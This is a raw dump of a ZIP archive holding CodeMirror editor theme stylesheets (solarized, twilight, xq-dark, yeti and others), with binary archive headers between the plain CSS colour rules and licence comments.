.cm-s-shadowfox span.cm-string { color: #6B89FF; }
.cm-s-shadowfox span.cm-string-2 { color: #6B89FF; }

.cm-s-shadowfox span.cm-meta { color: #939393; }
.cm-s-shadowfox span.cm-hr { color: #939393; }

.cm-s-shadowfox span.cm-header { color: #75BFFF; }
.cm-s-shadowfox span.cm-qualifier { color: #75BFFF; }
.cm-s-shadowfox span.cm-variable-2 { color: #75BFFF; }

.cm-s-shadowfox span.cm-property { color: #86DE74; }

.cm-s-shadowfox span.cm-def { color: #75BFFF; }
.cm-s-shadowfox span.cm-bracket { color: #75BFFF; }
.cm-s-shadowfox span.cm-tag { color: #75BFFF; }
.cm-s-shadowfox span.cm-link:visited { color: #75BFFF; }

.cm-s-shadowfox span.cm-variable { color: #B98EFF; }
.cm-s-shadowfox span.cm-variable-3 { color: #d7d7db; }
.cm-s-shadowfox span.cm-link { color: #737373; }
.cm-s-shadowfox span.cm-operator { color: #b1b1b3; }
.cm-s-shadowfox span.cm-special { color: #d7d7db; }

.cm-s-shadowfox .CodeMirror-activeline-background { background: rgba(185,
215, 253, .15) }
.cm-s-shadowfox .CodeMirror-matchingbracket { outline: solid 1px rgba(255,
255, 255, .25); color: white !important; }
PKP��[���22codemirror/theme/solarized.cssnu�[���/*
Solarized theme for code-mirror
http://ethanschoonover.com/solarized
*/

/*
Solarized color palette
http://ethanschoonover.com/solarized/img/solarized-palette.png
*/

.solarized.base03 { color: #002b36; }
.solarized.base02 { color: #073642; }
.solarized.base01 { color: #586e75; }
.solarized.base00 { color: #657b83; }
.solarized.base0 { color: #839496; }
.solarized.base1 { color: #93a1a1; }
.solarized.base2 { color: #eee8d5; }
.solarized.base3  { color: #fdf6e3; }
.solarized.solar-yellow  { color: #b58900; }
.solarized.solar-orange  { color: #cb4b16; }
.solarized.solar-red { color: #dc322f; }
.solarized.solar-magenta { color: #d33682; }
.solarized.solar-violet  { color: #6c71c4; }
.solarized.solar-blue { color: #268bd2; }
.solarized.solar-cyan { color: #2aa198; }
.solarized.solar-green { color: #859900; }

/* Color scheme for code-mirror */

.cm-s-solarized {
  line-height: 1.45em;
  color-profile: sRGB;
  rendering-intent: auto;
}
.cm-s-solarized.cm-s-dark {
  color: #839496;
  background-color: #002b36;
  text-shadow: #002b36 0 1px;
}
.cm-s-solarized.cm-s-light {
  background-color: #fdf6e3;
  color: #657b83;
  text-shadow: #eee8d5 0 1px;
}

.cm-s-solarized .CodeMirror-widget {
  text-shadow: none;
}

.cm-s-solarized .cm-header { color: #586e75; }
.cm-s-solarized .cm-quote { color: #93a1a1; }

.cm-s-solarized .cm-keyword { color: #cb4b16; }
.cm-s-solarized .cm-atom { color: #d33682; }
.cm-s-solarized .cm-number { color: #d33682; }
.cm-s-solarized .cm-def { color: #2aa198; }

.cm-s-solarized .cm-variable { color: #839496; }
.cm-s-solarized .cm-variable-2 { color: #b58900; }
.cm-s-solarized .cm-variable-3, .cm-s-solarized .cm-type { color: #6c71c4;
}

.cm-s-solarized .cm-property { color: #2aa198; }
.cm-s-solarized .cm-operator { color: #6c71c4; }

.cm-s-solarized .cm-comment { color: #586e75; font-style:italic; }

.cm-s-solarized .cm-string { color: #859900; }
.cm-s-solarized .cm-string-2 { color: #b58900; }

.cm-s-solarized .cm-meta { color: #859900; }
.cm-s-solarized .cm-qualifier { color: #b58900; }
.cm-s-solarized .cm-builtin { color: #d33682; }
.cm-s-solarized .cm-bracket { color: #cb4b16; }
.cm-s-solarized .CodeMirror-matchingbracket { color: #859900; }
.cm-s-solarized .CodeMirror-nonmatchingbracket { color: #dc322f; }
.cm-s-solarized .cm-tag { color: #93a1a1; }
.cm-s-solarized .cm-attribute { color: #2aa198; }
.cm-s-solarized .cm-hr {
  color: transparent;
  border-top: 1px solid #586e75;
  display: block;
}
.cm-s-solarized .cm-link { color: #93a1a1; cursor: pointer; }
.cm-s-solarized .cm-special { color: #6c71c4; }
.cm-s-solarized .cm-em {
  color: #999;
  text-decoration: underline;
  text-decoration-style: dotted;
}
.cm-s-solarized .cm-error,
.cm-s-solarized .cm-invalidchar {
  color: #586e75;
  border-bottom: 1px dotted #dc322f;
}

.cm-s-solarized.cm-s-dark div.CodeMirror-selected { background: #073642; }
.cm-s-solarized.cm-s-dark.CodeMirror ::selection { background: rgba(7, 54,
66, 0.99); }
.cm-s-solarized.cm-s-dark .CodeMirror-line::-moz-selection, .cm-s-dark
.CodeMirror-line > span::-moz-selection, .cm-s-dark .CodeMirror-line
> span > span::-moz-selection { background: rgba(7, 54, 66, 0.99); }

.cm-s-solarized.cm-s-light div.CodeMirror-selected { background: #eee8d5; }
.cm-s-solarized.cm-s-light .CodeMirror-line::selection, .cm-s-light
.CodeMirror-line > span::selection, .cm-s-light .CodeMirror-line >
span > span::selection { background: #eee8d5; }
.cm-s-solarized.cm-s-light .CodeMirror-line::-moz-selection, .cm-s-ligh
.CodeMirror-line > span::-moz-selection, .cm-s-ligh .CodeMirror-line
> span > span::-moz-selection { background: #eee8d5; }

/* Editor styling */



/* Little shadow on the view-port of the buffer view */
.cm-s-solarized.CodeMirror {
  -moz-box-shadow: inset 7px 0 12px -6px #000;
  -webkit-box-shadow: inset 7px 0 12px -6px #000;
  box-shadow: inset 7px 0 12px -6px #000;
}

/* Remove gutter border */
.cm-s-solarized .CodeMirror-gutters {
  border-right: 0;
}

/* Gutter colors and line number styling based of color scheme (dark /
light) */

/* Dark */
.cm-s-solarized.cm-s-dark .CodeMirror-gutters {
  background-color: #073642;
}

.cm-s-solarized.cm-s-dark .CodeMirror-linenumber {
  color: #586e75;
  text-shadow: #021014 0 -1px;
}

/* Light */
.cm-s-solarized.cm-s-light .CodeMirror-gutters {
  background-color: #eee8d5;
}

.cm-s-solarized.cm-s-light .CodeMirror-linenumber {
  color: #839496;
}

/* Common */
.cm-s-solarized .CodeMirror-linenumber {
  padding: 0 5px;
}
.cm-s-solarized .CodeMirror-guttermarker-subtle { color: #586e75; }
.cm-s-solarized.cm-s-dark .CodeMirror-guttermarker { color: #ddd; }
.cm-s-solarized.cm-s-light .CodeMirror-guttermarker { color: #cb4b16; }

.cm-s-solarized .CodeMirror-gutter .CodeMirror-gutter-text {
  color: #586e75;
}

/* Cursor */
.cm-s-solarized .CodeMirror-cursor { border-left: 1px solid #819090; }

/* Fat cursor */
.cm-s-solarized.cm-s-light.cm-fat-cursor .CodeMirror-cursor { background:
#77ee77; }
.cm-s-solarized.cm-s-light .cm-animate-fat-cursor { background-color:
#77ee77; }
.cm-s-solarized.cm-s-dark.cm-fat-cursor .CodeMirror-cursor { background:
#586e75; }
.cm-s-solarized.cm-s-dark .cm-animate-fat-cursor { background-color:
#586e75; }

/* Active line */
.cm-s-solarized.cm-s-dark .CodeMirror-activeline-background {
  background: rgba(255, 255, 255, 0.06);
}
.cm-s-solarized.cm-s-light .CodeMirror-activeline-background {
  background: rgba(0, 0, 0, 0.06);
}
PKP��[
�aM��codemirror/theme/ssms.cssnu�[���.cm-s-ssms
span.cm-keyword { color: blue; }
.cm-s-ssms span.cm-comment { color: darkgreen; }
.cm-s-ssms span.cm-string { color: red; }
.cm-s-ssms span.cm-def { color: black; }
.cm-s-ssms span.cm-variable { color: black; }
.cm-s-ssms span.cm-variable-2 { color: black; }
.cm-s-ssms span.cm-atom { color: darkgray; }
.cm-s-ssms .CodeMirror-linenumber { color: teal; }
.cm-s-ssms .CodeMirror-activeline-background { background: #ffffff; }
.cm-s-ssms span.cm-string-2 { color: #FF00FF; }
.cm-s-ssms span.cm-operator, 
.cm-s-ssms span.cm-bracket, 
.cm-s-ssms span.cm-punctuation { color: darkgray; }
.cm-s-ssms .CodeMirror-gutters { border-right: 3px solid #ffee62;
background-color: #ffffff; }
.cm-s-ssms div.CodeMirror-selected { background: #ADD6FF; }

PKR��[N	Z��codemirror/theme/the-matrix.cssnu�[���.cm-s-the-matrix.CodeMirror
{ background: #000000; color: #00FF00; }
.cm-s-the-matrix div.CodeMirror-selected { background: #2D2D2D; }
.cm-s-the-matrix .CodeMirror-line::selection, .cm-s-the-matrix
.CodeMirror-line > span::selection, .cm-s-the-matrix .CodeMirror-line
> span > span::selection { background: rgba(45, 45, 45, 0.99); }
.cm-s-the-matrix .CodeMirror-line::-moz-selection, .cm-s-the-matrix
.CodeMirror-line > span::-moz-selection, .cm-s-the-matrix
.CodeMirror-line > span > span::-moz-selection { background: rgba(45,
45, 45, 0.99); }
.cm-s-the-matrix .CodeMirror-gutters { background: #060; border-right: 2px
solid #00FF00; }
.cm-s-the-matrix .CodeMirror-guttermarker { color: #0f0; }
.cm-s-the-matrix .CodeMirror-guttermarker-subtle { color: white; }
.cm-s-the-matrix .CodeMirror-linenumber { color: #FFFFFF; }
.cm-s-the-matrix .CodeMirror-cursor { border-left: 1px solid #00FF00; }

.cm-s-the-matrix span.cm-keyword { color: #008803; font-weight: bold; }
.cm-s-the-matrix span.cm-atom { color: #3FF; }
.cm-s-the-matrix span.cm-number { color: #FFB94F; }
.cm-s-the-matrix span.cm-def { color: #99C; }
.cm-s-the-matrix span.cm-variable { color: #F6C; }
.cm-s-the-matrix span.cm-variable-2 { color: #C6F; }
.cm-s-the-matrix span.cm-variable-3, .cm-s-the-matrix span.cm-type { color:
#96F; }
.cm-s-the-matrix span.cm-property { color: #62FFA0; }
.cm-s-the-matrix span.cm-operator { color: #999; }
.cm-s-the-matrix span.cm-comment { color: #CCCCCC; }
.cm-s-the-matrix span.cm-string { color: #39C; }
.cm-s-the-matrix span.cm-meta { color: #C9F; }
.cm-s-the-matrix span.cm-qualifier { color: #FFF700; }
.cm-s-the-matrix span.cm-builtin { color: #30a; }
.cm-s-the-matrix span.cm-bracket { color: #cc7; }
.cm-s-the-matrix span.cm-tag { color: #FFBD40; }
.cm-s-the-matrix span.cm-attribute { color: #FFF700; }
.cm-s-the-matrix span.cm-error { color: #FF0000; }

.cm-s-the-matrix .CodeMirror-activeline-background { background: #040; }
PKR��[`����*codemirror/theme/tomorrow-night-bright.cssnu�[���/*

    Name:       Tomorrow Night - Bright
    Author:     Chris Kempson

    Port done by Gerard Braad <me@gbraad.nl>

*/

.cm-s-tomorrow-night-bright.CodeMirror { background: #000000; color:
#eaeaea; }
.cm-s-tomorrow-night-bright div.CodeMirror-selected { background: #424242;
}
.cm-s-tomorrow-night-bright .CodeMirror-gutters { background: #000000;
border-right: 0px; }
.cm-s-tomorrow-night-bright .CodeMirror-guttermarker { color: #e78c45; }
.cm-s-tomorrow-night-bright .CodeMirror-guttermarker-subtle { color: #777;
}
.cm-s-tomorrow-night-bright .CodeMirror-linenumber { color: #424242; }
.cm-s-tomorrow-night-bright .CodeMirror-cursor { border-left: 1px solid
#6A6A6A; }

.cm-s-tomorrow-night-bright span.cm-comment { color: #d27b53; }
.cm-s-tomorrow-night-bright span.cm-atom { color: #a16a94; }
.cm-s-tomorrow-night-bright span.cm-number { color: #a16a94; }

.cm-s-tomorrow-night-bright span.cm-property, .cm-s-tomorrow-night-bright
span.cm-attribute { color: #99cc99; }
.cm-s-tomorrow-night-bright span.cm-keyword { color: #d54e53; }
.cm-s-tomorrow-night-bright span.cm-string { color: #e7c547; }

.cm-s-tomorrow-night-bright span.cm-variable { color: #b9ca4a; }
.cm-s-tomorrow-night-bright span.cm-variable-2 { color: #7aa6da; }
.cm-s-tomorrow-night-bright span.cm-def { color: #e78c45; }
.cm-s-tomorrow-night-bright span.cm-bracket { color: #eaeaea; }
.cm-s-tomorrow-night-bright span.cm-tag { color: #d54e53; }
.cm-s-tomorrow-night-bright span.cm-link { color: #a16a94; }
.cm-s-tomorrow-night-bright span.cm-error { background: #d54e53; color:
#6A6A6A; }

.cm-s-tomorrow-night-bright .CodeMirror-activeline-background { background:
#2a2a2a; }
.cm-s-tomorrow-night-bright .CodeMirror-matchingbracket { text-decoration:
underline; color: white !important; }
PKR��[I�^�	�	,codemirror/theme/tomorrow-night-eighties.cssnu�[���/*

    Name:       Tomorrow Night - Eighties
    Author:     Chris Kempson

    CodeMirror template by Jan T. Sott
(https://github.com/idleberg/base16-codemirror)
    Original Base16 color scheme by Chris Kempson
(https://github.com/chriskempson/base16)

*/

.cm-s-tomorrow-night-eighties.CodeMirror { background: #000000; color:
#CCCCCC; }
.cm-s-tomorrow-night-eighties div.CodeMirror-selected { background:
#2D2D2D; }
.cm-s-tomorrow-night-eighties .CodeMirror-line::selection,
.cm-s-tomorrow-night-eighties .CodeMirror-line > span::selection,
.cm-s-tomorrow-night-eighties .CodeMirror-line > span >
span::selection { background: rgba(45, 45, 45, 0.99); }
.cm-s-tomorrow-night-eighties .CodeMirror-line::-moz-selection,
.cm-s-tomorrow-night-eighties .CodeMirror-line > span::-moz-selection,
.cm-s-tomorrow-night-eighties .CodeMirror-line > span >
span::-moz-selection { background: rgba(45, 45, 45, 0.99); }
.cm-s-tomorrow-night-eighties .CodeMirror-gutters { background: #000000;
border-right: 0px; }
.cm-s-tomorrow-night-eighties .CodeMirror-guttermarker { color: #f2777a; }
.cm-s-tomorrow-night-eighties .CodeMirror-guttermarker-subtle { color:
#777; }
.cm-s-tomorrow-night-eighties .CodeMirror-linenumber { color: #515151; }
.cm-s-tomorrow-night-eighties .CodeMirror-cursor { border-left: 1px solid
#6A6A6A; }

.cm-s-tomorrow-night-eighties span.cm-comment { color: #d27b53; }
.cm-s-tomorrow-night-eighties span.cm-atom { color: #a16a94; }
.cm-s-tomorrow-night-eighties span.cm-number { color: #a16a94; }

.cm-s-tomorrow-night-eighties span.cm-property,
.cm-s-tomorrow-night-eighties span.cm-attribute { color: #99cc99; }
.cm-s-tomorrow-night-eighties span.cm-keyword { color: #f2777a; }
.cm-s-tomorrow-night-eighties span.cm-string { color: #ffcc66; }

.cm-s-tomorrow-night-eighties span.cm-variable { color: #99cc99; }
.cm-s-tomorrow-night-eighties span.cm-variable-2 { color: #6699cc; }
.cm-s-tomorrow-night-eighties span.cm-def { color: #f99157; }
.cm-s-tomorrow-night-eighties span.cm-bracket { color: #CCCCCC; }
.cm-s-tomorrow-night-eighties span.cm-tag { color: #f2777a; }
.cm-s-tomorrow-night-eighties span.cm-link { color: #a16a94; }
.cm-s-tomorrow-night-eighties span.cm-error { background: #f2777a; color:
#6A6A6A; }

.cm-s-tomorrow-night-eighties .CodeMirror-activeline-background {
background: #343600; }
.cm-s-tomorrow-night-eighties .CodeMirror-matchingbracket {
text-decoration: underline; color: white !important; }
PKR��[>.�	�	�	codemirror/theme/ttcn.cssnu�[���.cm-s-ttcn
.cm-quote { color: #090; }
.cm-s-ttcn .cm-negative { color: #d44; }
.cm-s-ttcn .cm-positive { color: #292; }
.cm-s-ttcn .cm-header, .cm-strong { font-weight: bold; }
.cm-s-ttcn .cm-em { font-style: italic; }
.cm-s-ttcn .cm-link { text-decoration: underline; }
.cm-s-ttcn .cm-strikethrough { text-decoration: line-through; }
.cm-s-ttcn .cm-header { color: #00f; font-weight: bold; }

.cm-s-ttcn .cm-atom { color: #219; }
.cm-s-ttcn .cm-attribute { color: #00c; }
.cm-s-ttcn .cm-bracket { color: #997; }
.cm-s-ttcn .cm-comment { color: #333333; }
.cm-s-ttcn .cm-def { color: #00f; }
.cm-s-ttcn .cm-em { font-style: italic; }
.cm-s-ttcn .cm-error { color: #f00; }
.cm-s-ttcn .cm-hr { color: #999; }
.cm-s-ttcn .cm-invalidchar { color: #f00; }
.cm-s-ttcn .cm-keyword { font-weight:bold; }
.cm-s-ttcn .cm-link { color: #00c; text-decoration: underline; }
.cm-s-ttcn .cm-meta { color: #555; }
.cm-s-ttcn .cm-negative { color: #d44; }
.cm-s-ttcn .cm-positive { color: #292; }
.cm-s-ttcn .cm-qualifier { color: #555; }
.cm-s-ttcn .cm-strikethrough { text-decoration: line-through; }
.cm-s-ttcn .cm-string { color: #006400; }
.cm-s-ttcn .cm-string-2 { color: #f50; }
.cm-s-ttcn .cm-strong { font-weight: bold; }
.cm-s-ttcn .cm-tag { color: #170; }
.cm-s-ttcn .cm-variable { color: #8B2252; }
.cm-s-ttcn .cm-variable-2 { color: #05a; }
.cm-s-ttcn .cm-variable-3, .cm-s-ttcn .cm-type { color: #085; }

.cm-s-ttcn .cm-invalidchar { color: #f00; }

/* ASN */
.cm-s-ttcn .cm-accessTypes,
.cm-s-ttcn .cm-compareTypes { color: #27408B; }
.cm-s-ttcn .cm-cmipVerbs { color: #8B2252; }
.cm-s-ttcn .cm-modifier { color:#D2691E; }
.cm-s-ttcn .cm-status { color:#8B4545; }
.cm-s-ttcn .cm-storage { color:#A020F0; }
.cm-s-ttcn .cm-tags { color:#006400; }

/* CFG */
.cm-s-ttcn .cm-externalCommands { color: #8B4545; font-weight:bold; }
.cm-s-ttcn .cm-fileNCtrlMaskOptions,
.cm-s-ttcn .cm-sectionTitle { color: #2E8B57; font-weight:bold; }

/* TTCN */
.cm-s-ttcn .cm-booleanConsts,
.cm-s-ttcn .cm-otherConsts,
.cm-s-ttcn .cm-verdictConsts { color: #006400; }
.cm-s-ttcn .cm-configOps,
.cm-s-ttcn .cm-functionOps,
.cm-s-ttcn .cm-portOps,
.cm-s-ttcn .cm-sutOps,
.cm-s-ttcn .cm-timerOps,
.cm-s-ttcn .cm-verdictOps { color: #0000FF; }
.cm-s-ttcn .cm-preprocessor,
.cm-s-ttcn .cm-templateMatch,
.cm-s-ttcn .cm-ttcn3Macros { color: #27408B; }
.cm-s-ttcn .cm-types { color: #A52A2A; font-weight:bold; }
.cm-s-ttcn .cm-visibilityModifiers { font-weight:bold; }
PKR��[ش�ttcodemirror/theme/twilight.cssnu�[���.cm-s-twilight.CodeMirror
{ background: #141414; color: #f7f7f7; } /**/
.cm-s-twilight div.CodeMirror-selected { background: #323232; } /**/
.cm-s-twilight .CodeMirror-line::selection, .cm-s-twilight .CodeMirror-line
> span::selection, .cm-s-twilight .CodeMirror-line > span >
span::selection { background: rgba(50, 50, 50, 0.99); }
.cm-s-twilight .CodeMirror-line::-moz-selection, .cm-s-twilight
.CodeMirror-line > span::-moz-selection, .cm-s-twilight .CodeMirror-line
> span > span::-moz-selection { background: rgba(50, 50, 50, 0.99); }

.cm-s-twilight .CodeMirror-gutters { background: #222; border-right: 1px
solid #aaa; }
.cm-s-twilight .CodeMirror-guttermarker { color: white; }
.cm-s-twilight .CodeMirror-guttermarker-subtle { color: #aaa; }
.cm-s-twilight .CodeMirror-linenumber { color: #aaa; }
.cm-s-twilight .CodeMirror-cursor { border-left: 1px solid white; }

.cm-s-twilight .cm-keyword { color: #f9ee98; } /**/
.cm-s-twilight .cm-atom { color: #FC0; }
.cm-s-twilight .cm-number { color:  #ca7841; } /**/
.cm-s-twilight .cm-def { color: #8DA6CE; }
.cm-s-twilight span.cm-variable-2, .cm-s-twilight span.cm-tag { color:
#607392; } /**/
.cm-s-twilight span.cm-variable-3, .cm-s-twilight span.cm-def,
.cm-s-twilight span.cm-type { color: #607392; } /**/
.cm-s-twilight .cm-operator { color: #cda869; } /**/
.cm-s-twilight .cm-comment { color:#777; font-style:italic;
font-weight:normal; } /**/
.cm-s-twilight .cm-string { color:#8f9d6a; font-style:italic; } /**/
.cm-s-twilight .cm-string-2 { color:#bd6b18; } /*?*/
.cm-s-twilight .cm-meta { background-color:#141414; color:#f7f7f7; } /*?*/
.cm-s-twilight .cm-builtin { color: #cda869; } /*?*/
.cm-s-twilight .cm-tag { color: #997643; } /**/
.cm-s-twilight .cm-attribute { color: #d6bb6d; } /*?*/
.cm-s-twilight .cm-header { color: #FF6400; }
.cm-s-twilight .cm-hr { color: #AEAEAE; }
.cm-s-twilight .cm-link { color:#ad9361; font-style:italic;
text-decoration:none; } /**/
.cm-s-twilight .cm-error { border-bottom: 1px solid red; }

.cm-s-twilight .CodeMirror-activeline-background { background: #27282E; }
.cm-s-twilight .CodeMirror-matchingbracket { outline:1px solid grey;
color:white !important; }
PKR��[��o�^^
codemirror/theme/vibrant-ink.cssnu�[���/* Taken from the popular
Visual Studio Vibrant Ink Schema */

.cm-s-vibrant-ink.CodeMirror { background: black; color: white; }
.cm-s-vibrant-ink div.CodeMirror-selected { background: #35493c; }
.cm-s-vibrant-ink .CodeMirror-line::selection, .cm-s-vibrant-ink
.CodeMirror-line > span::selection, .cm-s-vibrant-ink .CodeMirror-line
> span > span::selection { background: rgba(53, 73, 60, 0.99); }
.cm-s-vibrant-ink .CodeMirror-line::-moz-selection, .cm-s-vibrant-ink
.CodeMirror-line > span::-moz-selection, .cm-s-vibrant-ink
.CodeMirror-line > span > span::-moz-selection { background: rgba(53,
73, 60, 0.99); }

.cm-s-vibrant-ink .CodeMirror-gutters { background: #002240; border-right:
1px solid #aaa; }
.cm-s-vibrant-ink .CodeMirror-guttermarker { color: white; }
.cm-s-vibrant-ink .CodeMirror-guttermarker-subtle { color: #d0d0d0; }
.cm-s-vibrant-ink .CodeMirror-linenumber { color: #d0d0d0; }
.cm-s-vibrant-ink .CodeMirror-cursor { border-left: 1px solid white; }

.cm-s-vibrant-ink .cm-keyword { color: #CC7832; }
.cm-s-vibrant-ink .cm-atom { color: #FC0; }
.cm-s-vibrant-ink .cm-number { color:  #FFEE98; }
.cm-s-vibrant-ink .cm-def { color: #8DA6CE; }
.cm-s-vibrant-ink span.cm-variable-2, .cm-s-vibrant span.cm-tag { color:
#FFC66D; }
.cm-s-vibrant-ink span.cm-variable-3, .cm-s-vibrant span.cm-def,
.cm-s-vibrant span.cm-type { color: #FFC66D; }
.cm-s-vibrant-ink .cm-operator { color: #888; }
.cm-s-vibrant-ink .cm-comment { color: gray; font-weight: bold; }
.cm-s-vibrant-ink .cm-string { color:  #A5C25C; }
.cm-s-vibrant-ink .cm-string-2 { color: red; }
.cm-s-vibrant-ink .cm-meta { color: #D8FA3C; }
.cm-s-vibrant-ink .cm-builtin { color: #8DA6CE; }
.cm-s-vibrant-ink .cm-tag { color: #8DA6CE; }
.cm-s-vibrant-ink .cm-attribute { color: #8DA6CE; }
.cm-s-vibrant-ink .cm-header { color: #FF6400; }
.cm-s-vibrant-ink .cm-hr { color: #AEAEAE; }
.cm-s-vibrant-ink .cm-link { color: #5656F3; }
.cm-s-vibrant-ink .cm-error { border-bottom: 1px solid red; }

.cm-s-vibrant-ink .CodeMirror-activeline-background { background: #27282E;
}
.cm-s-vibrant-ink .CodeMirror-matchingbracket { outline:1px solid grey;
color:white !important; }
PKR��[Qھ��codemirror/theme/xq-dark.cssnu�[���/*
Copyright (C) 2011 by MarkLogic Corporation
Author: Mike Brevoort <mike@brevoort.com>

Permission is hereby granted, free of charge, to any person obtaining a
copy
of this software and associated documentation files (the
"Software"), to deal
in the Software without restriction, including without limitation the
rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
*/
.cm-s-xq-dark.CodeMirror { background: #0a001f; color: #f8f8f8; }
.cm-s-xq-dark div.CodeMirror-selected { background: #27007A; }
.cm-s-xq-dark .CodeMirror-line::selection, .cm-s-xq-dark .CodeMirror-line
> span::selection, .cm-s-xq-dark .CodeMirror-line > span >
span::selection { background: rgba(39, 0, 122, 0.99); }
.cm-s-xq-dark .CodeMirror-line::-moz-selection, .cm-s-xq-dark
.CodeMirror-line > span::-moz-selection, .cm-s-xq-dark .CodeMirror-line
> span > span::-moz-selection { background: rgba(39, 0, 122, 0.99); }
.cm-s-xq-dark .CodeMirror-gutters { background: #0a001f; border-right: 1px
solid #aaa; }
.cm-s-xq-dark .CodeMirror-guttermarker { color: #FFBD40; }
.cm-s-xq-dark .CodeMirror-guttermarker-subtle { color: #f8f8f8; }
.cm-s-xq-dark .CodeMirror-linenumber { color: #f8f8f8; }
.cm-s-xq-dark .CodeMirror-cursor { border-left: 1px solid white; }

.cm-s-xq-dark span.cm-keyword { color: #FFBD40; }
.cm-s-xq-dark span.cm-atom { color: #6C8CD5; }
.cm-s-xq-dark span.cm-number { color: #164; }
.cm-s-xq-dark span.cm-def { color: #FFF; text-decoration:underline; }
.cm-s-xq-dark span.cm-variable { color: #FFF; }
.cm-s-xq-dark span.cm-variable-2 { color: #EEE; }
.cm-s-xq-dark span.cm-variable-3, .cm-s-xq-dark span.cm-type { color: #DDD;
}
.cm-s-xq-dark span.cm-property {}
.cm-s-xq-dark span.cm-operator {}
.cm-s-xq-dark span.cm-comment { color: gray; }
.cm-s-xq-dark span.cm-string { color: #9FEE00; }
.cm-s-xq-dark span.cm-meta { color: yellow; }
.cm-s-xq-dark span.cm-qualifier { color: #FFF700; }
.cm-s-xq-dark span.cm-builtin { color: #30a; }
.cm-s-xq-dark span.cm-bracket { color: #cc7; }
.cm-s-xq-dark span.cm-tag { color: #FFBD40; }
.cm-s-xq-dark span.cm-attribute { color: #FFF700; }
.cm-s-xq-dark span.cm-error { color: #f00; }

.cm-s-xq-dark .CodeMirror-activeline-background { background: #27282E; }
.cm-s-xq-dark .CodeMirror-matchingbracket { outline:1px solid grey;
color:white !important; }
PKR��[�{����codemirror/theme/xq-light.cssnu�[���/*
Copyright (C) 2011 by MarkLogic Corporation
Author: Mike Brevoort <mike@brevoort.com>

Permission is hereby granted, free of charge, to any person obtaining a
copy
of this software and associated documentation files (the
"Software"), to deal
in the Software without restriction, including without limitation the
rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
*/
.cm-s-xq-light span.cm-keyword { line-height: 1em; font-weight: bold;
color: #5A5CAD; }
.cm-s-xq-light span.cm-atom { color: #6C8CD5; }
.cm-s-xq-light span.cm-number { color: #164; }
.cm-s-xq-light span.cm-def { text-decoration:underline; }
.cm-s-xq-light span.cm-variable { color: black; }
.cm-s-xq-light span.cm-variable-2 { color:black; }
.cm-s-xq-light span.cm-variable-3, .cm-s-xq-light span.cm-type { color:
black; }
.cm-s-xq-light span.cm-property {}
.cm-s-xq-light span.cm-operator {}
.cm-s-xq-light span.cm-comment { color: #0080FF; font-style: italic; }
.cm-s-xq-light span.cm-string { color: red; }
.cm-s-xq-light span.cm-meta { color: yellow; }
.cm-s-xq-light span.cm-qualifier { color: grey; }
.cm-s-xq-light span.cm-builtin { color: #7EA656; }
.cm-s-xq-light span.cm-bracket { color: #cc7; }
.cm-s-xq-light span.cm-tag { color: #3F7F7F; }
.cm-s-xq-light span.cm-attribute { color: #7F007F; }
.cm-s-xq-light span.cm-error { color: #f00; }

.cm-s-xq-light .CodeMirror-activeline-background { background: #e8f2ff; }
.cm-s-xq-light .CodeMirror-matchingbracket { outline:1px solid
grey;color:black !important;background:yellow; }
PKR��[M�`B\\codemirror/theme/yeti.cssnu�[���/*

    Name:       yeti
    Author:     Michael Kaminsky (http://github.com/mkaminsky11)

    Original yeti color scheme by Jesse Weed
(https://github.com/jesseweed/yeti-syntax)

*/


.cm-s-yeti.CodeMirror {
  background-color: #ECEAE8 !important;
  color: #d1c9c0 !important;
  border: none;
}

.cm-s-yeti .CodeMirror-gutters {
  color: #adaba6;
  background-color: #E5E1DB;
  border: none;
}
.cm-s-yeti .CodeMirror-cursor { border-left: solid thin #d1c9c0; }
.cm-s-yeti .CodeMirror-linenumber { color: #adaba6; }
.cm-s-yeti.CodeMirror-focused div.CodeMirror-selected { background:
#DCD8D2; }
.cm-s-yeti .CodeMirror-line::selection, .cm-s-yeti .CodeMirror-line >
span::selection, .cm-s-yeti .CodeMirror-line > span > span::selection
{ background: #DCD8D2; }
.cm-s-yeti .CodeMirror-line::-moz-selection, .cm-s-yeti .CodeMirror-line
> span::-moz-selection, .cm-s-yeti .CodeMirror-line > span >
span::-moz-selection { background: #DCD8D2; }
.cm-s-yeti span.cm-comment { color: #d4c8be; }
.cm-s-yeti span.cm-string, .cm-s-yeti span.cm-string-2 { color: #96c0d8; }
.cm-s-yeti span.cm-number { color: #a074c4; }
.cm-s-yeti span.cm-variable { color: #55b5db; }
.cm-s-yeti span.cm-variable-2 { color: #a074c4; }
.cm-s-yeti span.cm-def { color: #55b5db; }
.cm-s-yeti span.cm-operator { color: #9fb96e; }
.cm-s-yeti span.cm-keyword { color: #9fb96e; }
.cm-s-yeti span.cm-atom { color: #a074c4; }
.cm-s-yeti span.cm-meta { color: #96c0d8; }
.cm-s-yeti span.cm-tag { color: #96c0d8; }
.cm-s-yeti span.cm-attribute { color: #9fb96e; }
.cm-s-yeti span.cm-qualifier { color: #96c0d8; }
